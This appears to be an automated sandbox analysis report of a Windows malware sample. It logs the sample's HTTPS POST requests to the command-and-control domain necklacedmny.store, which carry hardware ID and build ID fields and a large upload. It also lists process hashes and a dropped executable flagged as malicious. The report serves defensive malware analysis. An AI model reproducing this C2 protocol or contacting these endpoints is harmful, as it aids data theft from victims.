2024-10-28 14:28:11 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 14:28:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c49j4v7tauc6n6kgtcu9iimm35; expires=Fri, 21 Feb 2025 08:14:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ID3CsoC3K%2BVwH1H%2FJ2azXtHSXiyNhkExfq5i0%2FfAWL9mT3VAdS67k0uAymew0Uyx5rq1k8h%2FBP5Yh4IQhF07IQAQ36jhYCWeO25nzhvwaUuhKMu1kOx07theSYHkGWqMqqnyfXI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9b9c6159516c67-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1157&sent=10&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=2429530&cwnd=249&unsent_bytes=0&cid=c3bc3ac30f93f093&ts=679&x=0"
2024-10-28 14:28:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 14:28:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49731	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 14:28:12 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1228 Host: necklacedmny.store
2024-10-28 14:28:12 UTC	1228	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 44 34 35 41 39 44 45 42 38 37 35 46 37 32 41 31 42 45 37 33 43 44 42 45 44 34 33 38 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02D45A9DEB875F72A1BE73CDBED43854--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 14:28:13 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 14:28:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=db55n40j15u0rgaqpkd41bdnlh; expires=Fri, 21 Feb 2025 08:14:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PlgnVgbFEEaHGULK86hlFe79oj83FpPcPnypj6rFOPK2PAuxU5tz9bOtft8qCKdQ1ks2SW2kXhVlj97m45mmdUGxb5rLx9B%2F2PwfbAAcFXaWhB8KXUrmOlgYmepHojTnvJKhYUI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9b9c6b5fb72e4f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1312&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2147&delivery_rate=2081955&cwnd=249&unsent_bytes=0&cid=53d42fa1a0d411e9&ts=501&x=0"
2024-10-28 14:28:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 14:28:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49741	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 14:28:14 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587615 Host: necklacedmny.store
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 44 34 35 41 39 44 45 42 38 37 35 46 37 32 41 31 42 45 37 33 43 44 42 45 44 34 33 38 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02D45A9DEB875F72A1BE73CDBED43854--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: 9d 22 b7 c7 53 e4 3a 07 4d e2 33 d4 ce 0e 86 63 f7 a6 c2 e5 15 6e 7b c8 dd be d9 ea b4 18 50 23 fb 3b c2 5d 2c 57 f5 c1 02 e3 a7 cd c1 df 92 ef 34 7c 2c 4c 23 15 74 9f 8e 6e 20 82 07 c5 db 97 6c a7 22 74 e0 4a 4f 84 dd 36 95 27 96 20 a1 59 fb a1 78 52 c4 a1 78 51 20 37 06 a5 d6 c2 29 a7 1d 19 ae 52 20 c9 8e 50 c0 df 4c a0 66 e2 f2 0c e5 19 e7 52 3b f7 74 e8 8e 36 23 da cf 64 b3 4c ea 24 a0 df dd 0f 38 cd 73 f4 d1 93 28 ee 0b 6f 1f bf b6 ee d9 32 94 a8 be fb b8 ab c0 68 65 c4 c2 7f fb d8 17 f9 08 c0 84 cd cf b8 09 18 12 98 b1 bb bf 03 61 a0 06 35 2b ce 6a 98 23 11 14 77 53 e3 88 3c c3 fe 57 4d 83 27 be 27 98 f1 08 2b b0 13 c9 87 43 be 82 54 ef 8d de 82 6b 80 3e 50 11 27 7e 18 d6 56 ef 8b 90 46 c6 3b fe f0 92 bd 34 fa 52 91 7d b3 64 4f c6 2c 7a 9e 1a 03 4d Data Ascii: "S:M3cn{P#;],W4\|,L#tn l"tJO6' YxRxQ 7)R PLfR;t6#dL$8s(o2hea5+j#wS<WM''+CTk>P'~VF;4R}dO,zM
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: d4 a9 c4 ad 9e fa c6 33 2c 3f 5a 17 1e a2 8b 6e 13 0b d8 47 dc 05 e7 7f fd 7c 37 87 1f 85 fa 3e 15 78 f9 97 70 d8 bd 42 f3 5d 62 3b 04 89 8b 65 3e e3 37 f5 23 bc b4 0a 33 e9 6d 85 2b 4f ea 02 dd d3 22 23 22 36 0f 5e 46 de ae 7b 56 10 fe 8d 3a 93 3e c7 52 47 9d 5a 17 67 d8 ed 69 41 5f dd 8f 4f a3 cd 13 9b bf 18 8a ae 0c cb d0 85 3e 66 53 66 08 6e bc e0 92 82 06 e4 d8 d6 3a 5d 69 b3 5d da bf 71 af 6e 3e 34 31 78 e6 66 c5 c6 35 9f f6 d3 47 4a ec b7 c7 8b e6 7f 3c 63 f9 4b 14 17 3b 02 fc a4 cf d2 4f 8d 81 67 ce c9 73 b1 06 6b 96 4f 6d d6 ff 8e 24 64 ea 27 58 27 a3 4a 33 0f 01 df 9f ec a5 d1 7d 00 ee f1 ec 4a f2 af fb af 5c ce 08 75 1b 00 cb f6 de 09 d0 11 70 09 1c 1a bc 77 c8 29 75 3c 41 1d 07 4c 38 65 52 47 ff bb d3 e6 21 0e be 20 04 ee 90 c0 5a 32 d7 1a a1 Data Ascii: 3,?ZnG\|7>xpB]b;e>7#3m+O"#"6^F{V:>RGZgiA_O>fSfn:]i]qn>41xf5GJ<cK;OgskOm$d'X'J3}J\upw)u<AL8eRG! Z2
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: d5 67 39 fc ae c9 2b b5 43 59 80 f8 d1 2b a6 06 a8 e3 26 07 b4 40 ec 2f 41 fc 97 f9 b0 89 e7 38 9f cf 95 6a ad 87 5b 5e 35 dc 24 89 71 c5 f9 0f 28 10 79 ad bd a6 c6 93 87 40 be 57 28 ed 09 1b 16 7b 3e 22 f3 57 9e 61 3b 00 23 df ba 76 74 30 12 a4 d6 be 39 95 74 3d 56 41 3d 01 50 5b 8d a2 bf 90 3a 09 ea 61 d5 5e 73 89 8d a1 7f 7b 24 6f f2 2c 68 0d ad 9f a3 93 8c 3e c2 c9 a4 74 96 e1 8d e0 fa c5 70 4e 5e 86 1e 6f 46 4c 44 53 db 72 e2 e2 91 a4 b9 30 ef 9f eb 8d ba 24 95 ad 1c 9f 05 8f a4 bc 1f 36 43 62 5b 97 b2 7b 2e 16 6a 82 55 98 90 f0 d9 0d ce bf 1b db cb 2e 4a fd 32 af f2 fa e2 f0 4f 33 10 84 08 5c 64 6c ea 0c 8b 4b 52 e7 c3 44 5f 40 52 13 b8 9b 05 42 79 17 55 72 6f 00 8d 94 5d 52 7f 44 fe 6c 5a c4 0f 73 83 6b 29 84 61 ee e4 d7 b9 e1 e2 dd ec f6 75 35 4b Data Ascii: g9+CY+&@/A8j[^5$q(y@W({>"Wa;#vt09t=VA=P[:a^s{$o,h>tpN^oFLDSr0$6Cb[{.jU.J2O3\dlKRD_@RByUro]RDlZsk)au5K
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: fd 1d af 43 a8 de a2 45 0b 7e 4d 61 f2 f7 29 d4 48 1a 77 41 84 a8 99 11 d4 6f 80 1c dd 56 97 7a f3 2a 30 32 83 32 1e 68 60 1e 51 37 2e 3b df da 25 44 c5 95 f2 ce 86 fc 6f e1 b8 d1 2a 0e b8 da c2 0e 20 d1 29 e1 b2 46 05 da 45 40 7d a1 00 5d e6 cd 38 4d 36 01 05 92 7f 7f f0 71 3d 46 06 b7 ba 53 6b b8 da f9 14 1a 1c d4 10 80 f0 64 c3 ba ea 0e 19 28 a3 14 48 8a c7 62 78 8e 6e b5 04 a7 be d0 99 fd 79 bd 91 f6 c2 f6 40 55 67 2c d7 71 3e 48 3d 04 27 67 6e 86 cb a8 97 0a 52 4b 9e 74 97 8b 62 2a 20 be b5 e2 72 49 f2 61 c4 e6 b1 15 37 87 08 a6 50 1b 0c cc a4 e2 d3 bd e7 6b 28 b6 29 0d e1 22 23 e7 6e a4 90 a5 85 0f 73 f1 5a 98 1e 3d e1 86 22 91 53 f8 a3 87 eb 77 55 eb ee f7 20 ee 46 75 3d 27 fc 3b 14 8a 08 15 c3 3a cd 97 3d 33 ef 17 cd c5 58 0e 84 a8 09 20 9a 8b c8 Data Ascii: CE~Ma)HwAoVz022h`Q7.;%Do )FE@}]8M6q=FSkd(Hbxny@Ug,q>H='gnRKtb* rIa7Pk()"#nsZ="SwU Fu=';:=3X
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: 35 ad c2 15 e7 bb ab b1 29 67 1e 22 c4 0b a4 96 50 8c d1 7b 71 84 eb 7f d4 62 a3 05 c6 e7 1f ce 9a d7 74 99 29 ad 97 0f 9e ff 9d b6 b8 66 59 0a cd 17 c0 6d 87 23 97 33 7c d0 15 7b 2c 82 96 af 5c b1 c1 83 97 65 ff 1e ac 77 43 be 9a 1d 08 49 02 49 fc 68 39 7b 5f c5 97 31 fb 70 5d 0b 62 6b fc 28 7f 22 c4 fb 3f 5c a7 d1 54 d1 b7 55 6b c6 4e 4a 6b b4 39 30 37 e9 6a 3d 7c c3 67 b3 25 fe e2 2d 72 9f 49 a3 45 1e 21 35 80 63 f9 4c 4d bd 29 3b 2e 36 36 3c c7 88 1a 1b 94 21 81 ff d5 5d a4 bd 5a 4c 68 6b dd d0 6b 21 e3 04 2e 8d aa cd fd 02 d3 97 31 cf 15 05 41 e2 43 2a 47 78 96 44 66 58 09 83 01 55 01 f8 6c 5a 53 17 fd 70 bb 49 c8 e1 b9 6b a6 26 58 38 11 da 51 0a 42 48 c1 b4 18 78 8f 40 d2 3e 02 0e e8 dc 82 98 9f 54 c1 3e 01 53 07 c0 1c fe 74 1b 0d fc e8 34 6a e6 3b Data Ascii: 5)g"P{qbt)fYm#3\|{,\ewCIIh9{_1p]bk("?\TUkNJk907j=\|g%-rIE!5cLM);.66<!]ZLhkk!.1AC*GxDfXUlZSpIk&X8QBHx@>T>St4j;
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: 07 75 30 6b 81 a3 6a 23 0d 8a b8 ed 1c e1 06 d3 4c 19 f9 57 59 15 fc ef cb d6 78 44 f1 c2 a4 32 3e 0a b5 1d ab a6 dd a4 e6 12 39 b9 f2 e3 1d 55 5d 8e b2 88 37 5c 39 6d 3c 1f d5 d9 be 77 a7 e9 e5 d7 52 9d db ef 38 cf c4 86 9b 8f 88 b4 bc 01 07 7b a3 15 e6 7e 1a 96 54 61 0e a0 44 12 71 38 22 53 a9 c8 1b f3 5c ca fe 8b 21 1e 7b 96 ac db bb e6 e5 c1 9f d0 cb a4 f5 a0 92 e8 10 ab f9 0c 2c 24 5f 0e 62 c3 5f 8f fb 23 68 67 0e bf da b1 9c b0 db fd 7d aa 25 c9 04 8d 14 9c d9 22 db 32 55 12 3d 2a 25 fb 5d 01 c3 7f 56 15 52 b5 20 76 69 4d 97 be ae e9 2c 91 8b 8e 13 e2 2c f4 45 39 4b 3f f1 93 ac 53 f3 00 97 1f 51 21 9e a1 1c 61 7d 3e c0 0e 10 4a 90 cd e1 f9 45 af e8 b0 9a 29 ff ce f8 20 f5 da 95 c3 00 e6 c8 f5 b9 71 87 e5 1c c4 00 89 35 d4 6a 5d 7e 64 84 3f 3f b0 b0 Data Ascii: u0kj#LWYxD2>9U]7\9m<wR8{~TaDq8"S\!{,$_b_#hg}%"2U=*%]VR viM,,E9K?SQ!a}>JE) q5j]~d??
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: 28 88 6a 27 39 69 40 82 fb 08 63 d0 d7 17 8d 1a a9 00 88 42 b2 1a 1b 67 e1 c7 00 45 d2 37 5d 98 c3 42 2f a0 a8 db 42 60 06 4e 81 9c 22 01 76 ed c9 44 87 58 9c fa 0b 0d 29 13 f4 f7 d9 6c d0 86 34 ab c8 4f b6 4c 42 9f f9 2c f9 6e 39 51 70 da 10 ed dc c9 34 41 f1 8a f6 0c e6 d7 76 1e d1 4b 82 1a 13 68 00 9e 5a f5 dc aa b0 9b da 84 60 a9 63 d6 68 73 d0 e3 77 c1 52 9c 6d d8 f6 b5 7c 04 25 09 d5 2b ec 61 d4 c5 96 bf 75 09 84 f3 df f4 bc a0 3d 7c 67 99 db 7d 93 3f 84 72 a0 0f 9a b2 c4 fd 9c 58 45 ae 1d 10 bf 1f ee 2f c1 61 56 f2 db b7 d9 00 2c f4 f3 19 49 2d 23 c2 58 03 91 18 60 c2 2b 97 a4 da 8f d4 0a a7 d6 a2 5b d0 dc 59 90 43 4b 25 a4 9c a0 46 26 cf 59 7c 60 7c 77 cd 59 86 34 09 7b 0b 5d 5f 05 6f 53 91 43 4c d1 5b 14 8b 7f a8 cb 49 bf 1c 69 41 98 7f 08 95 e5 Data Ascii: (j'9i@cBgE7]B/B`N"vDX)l4OLB,n9Qp4AvKhZ`chswRm\|%+au=\|g}?rXE/aV,I-#X`+[YCK%F&Y\|`\|wY4{]_oSCL[IiA
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: b7 d1 da c6 d1 d2 79 67 5a b4 fb 2d b9 14 20 11 27 cb 3f 3c fa a1 27 4b 22 44 db a6 22 74 f6 2e 51 5b cc 95 e3 7c ca 57 ec c4 38 a7 5c 88 b3 e6 f4 c3 ff 27 03 11 fe 48 69 a9 12 02 c6 8e fe aa 9c 3f 6e d2 1d 14 41 b2 b6 74 b5 22 44 cd ff a8 80 3c 8d 06 39 6f 48 fa 57 5e c4 44 7f 52 59 0b 78 50 1a 71 87 6c 85 b4 1d bc ad df d6 7a 04 45 a8 6e 97 b9 e5 f2 26 0f 84 15 3d a0 e5 a3 50 7a 37 0c 1b 58 13 d8 53 20 d4 5f 08 28 2f 83 82 70 cc ff 5e 81 43 6a 43 fc 3a d6 0f 01 23 b7 9b 19 aa 03 fd a0 8c 5b b8 ce 64 e7 91 43 18 52 3f c3 d8 ee 2d 1d 82 d5 10 b8 2e cd b6 11 33 b2 ca ee 65 bf 09 e7 e3 32 12 75 1f 78 5e b6 96 5c 3e 1b 81 5a 78 5b 28 37 86 18 56 d1 4f a5 b5 ed e3 bd 54 6e 3b a2 4e 4d 44 7c d2 a1 7c 6c 85 ee 56 30 4e 0f 48 78 b3 1f 65 2c 7b a9 53 5f ac 77 6a Data Ascii: ygZ- '?<'K"D"t.Q[\|W8\'Hi?nAt"D<9oHW^DRYxPqlzEn&=Pz7XS _(/p^CjC:#[dCR?-.3e2ux^\>Zx[(7VOTn;NMD\|\|lV0NHxe,{S_wj
2024-10-28 14:28:14 UTC	15331	OUT	Data Raw: cc 3e ba 56 cf c0 44 ab 2a 17 cc d1 4b 5e 89 3e ab 5d 3e b6 14 e8 77 c8 cc 42 01 24 4e 21 e9 27 31 86 3c c6 75 ad ef d6 65 7d ca c5 53 03 86 08 ff cb 05 f4 a2 fd 9f 7f 74 0b 80 17 2e 34 41 ce 45 91 b9 9f 3b 52 a9 d1 54 41 70 1c c6 fd 3b 31 9d d2 5a 5f 7b 5f 8c c0 2b e8 fe dc fd 89 db 57 8d 8d b8 27 28 2c cb 29 4e c3 bd 66 3a 62 43 5f 9e d6 71 d7 c7 8a 24 f7 fa 99 09 11 02 d3 2f c4 a3 01 be db 7f be ef c1 f9 62 28 f4 df cd f3 23 09 d3 a8 18 41 a0 7f c4 0e 63 c8 bc 63 5d 05 40 69 83 02 13 9f 78 97 ce 4f 4a 27 d5 4e 70 f4 fe dd 82 48 4f 20 e0 11 cc 28 59 7c 28 e5 b9 5e 22 01 5f 68 61 bc 41 e0 83 f1 dd 1a 74 9e 3b ab 30 28 4f 79 9f b0 26 22 3f 95 d9 e5 b1 da f8 45 e7 b9 1e 74 4a 10 a1 24 22 a4 01 0a 6c d9 c9 7a 9c b7 6b 0d 52 b1 18 66 29 68 fd 1c 36 c9 ce bf Data Ascii: >VD*K^>]>wB$N!'1<ue}St.4AE;RTAp;1Z_{_+W'(,)Nf:bC_q$/b(#Acc]@ixOJ'NpHO (Y\|(^"_haAt;0(Oy&"?EtJ$"lzkRf)h6
2024-10-28 14:28:16 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 14:28:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m56ei1f1st1lktllocn2drbcfj; expires=Fri, 21 Feb 2025 08:14:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=er1F%2FYt1SHRPfwi811CyieiNd2bmv6zM5oNY0xHN%2FTgsqVf7M9qvt6MLPkQmVZ9GbDVf8FgqNvkctD%2F7CMP%2Bv2e5ks27mDkIAc2Sc0yNA16yOJOE8e5kuJyCakI3phHGlcctAAI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9b9c77bf7fe70e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1419&sent=229&recv=622&lost=0&retrans=0&sent_bytes=2844&recv_bytes=590208&delivery_rate=2097031&cwnd=251&unsent_bytes=0&cid=5a0f8893e2eac042&ts=2663&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49758	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 14:28:17 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-28 14:28:17 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 30 32 44 34 35 41 39 44 45 42 38 37 35 46 37 32 41 31 42 45 37 33 43 44 42 45 44 34 33 38 35 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=02D45A9DEB875F72A1BE73CDBED43854
2024-10-28 14:28:18 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 14:28:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7rjolbekn88g65qm9mkjbkht06; expires=Fri, 21 Feb 2025 08:14:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hlqt1dIcWQTvLJBXMXVppKwS%2FlbZ9YnFwkik5merD0IPEOt2TM4nI2idz2C2IEBMKNWrAwGLCss71GCeJBOpc01kgLjEDbUrqpGavZdzub9hhmD%2BS3O7w8AsBpeWQ%2BSDB5U2xoA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9b9c8a69e74614-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1257&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2329847&cwnd=37&unsent_bytes=0&cid=e932eb6c1849bf8e&ts=614&x=0"
2024-10-28 14:28:18 UTC	130	IN	Data Raw: 37 63 0d 0a 47 6d 36 77 61 33 62 71 6d 53 76 44 4f 39 65 78 54 4f 38 45 41 69 30 69 32 69 67 51 37 59 41 72 6b 4a 76 69 4c 41 74 4d 57 4e 31 42 46 5a 49 65 56 4e 43 37 51 37 64 50 70 34 73 51 77 46 67 74 48 42 72 76 42 69 4c 63 74 51 57 68 71 74 45 43 4f 6e 6f 45 38 6e 55 49 31 6a 64 5a 6a 76 78 4e 37 56 36 76 31 47 37 44 4a 6d 52 5a 41 4f 41 59 50 4d 2f 6c 43 61 71 72 6e 33 45 3d 0d 0a Data Ascii: 7cGm6wa3bqmSvDO9exTO8EAi0i2igQ7YArkJviLAtMWN1BFZIeVNC7Q7dPp4sQwFgtHBrvBiLctQWhqtECOnoE8nUI1jdZjvxN7V6v1G7DJmRZAOAYPM/lCaqrn3E=
2024-10-28 14:28:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:28:02
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x2d0000
File size:	2'956'800 bytes
MD5 hash:	F8CB2D8C03288D1AD24EA75554CC1841
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:28:23
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe"
Imagebase:	0xd30000
File size:	2'801'664 bytes
MD5 hash:	014B179EC5B40CDC9662F45797F848C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	25%
Signature Coverage:	13.9%
Total number of Nodes:	36
Total number of Limit Nodes:	2

Executed Functions

Function 00EBA7ED Relevance: 1.6, APIs: 1, Instructions: 142
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00EBA7ED

Memory Dump Source

Source File: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
